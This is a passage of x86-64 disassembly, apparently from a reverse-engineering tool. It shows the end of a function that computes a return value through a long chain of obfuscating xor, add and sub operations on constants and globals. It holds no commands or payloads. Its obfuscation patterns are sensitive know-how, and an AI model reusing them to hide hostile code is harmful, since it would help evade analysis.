imul rcx, r10
movabs rax, 0xf5ed7e878561e1d3
xor r11, rax
not r11
xor rcx, r11
xor r8, rbx
imul r8, r15
sub rcx, r8
call fcn.14006e03c
mov qword [0x14036d9e0], rax
and dword [rsp + 0x44], 0
mov dword [rsp + 0x44], 0x4302e101
mov eax, dword [rsp + 0x44]
add eax, 0xf456cbb3
xor eax, 0x6108865b
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
sub eax, 0x56429361
xor eax, 0x897272cf
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x6d4bf6b
add eax, ecx
xor eax, 0x994d79b1
sub eax, 0x8f07fce
xor eax, 0x771aeca1
lea edx, [rcx - 0x34e417bf]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd3d15982
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2c2ea67d
add ecx, 0x6d034f97
add ecx, edx
xor ecx, 0x9a9f007a
mov dword [rsp + 0x44], ecx
movsxd rbx, ecx
add rbx, qword [rbp + 8]
and dword [rsp + 0x44], 0
lea rcx, [rbp + 0xc8]
call fcn.1400538a4
mov rax, rbx
add rsp, 0x2c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret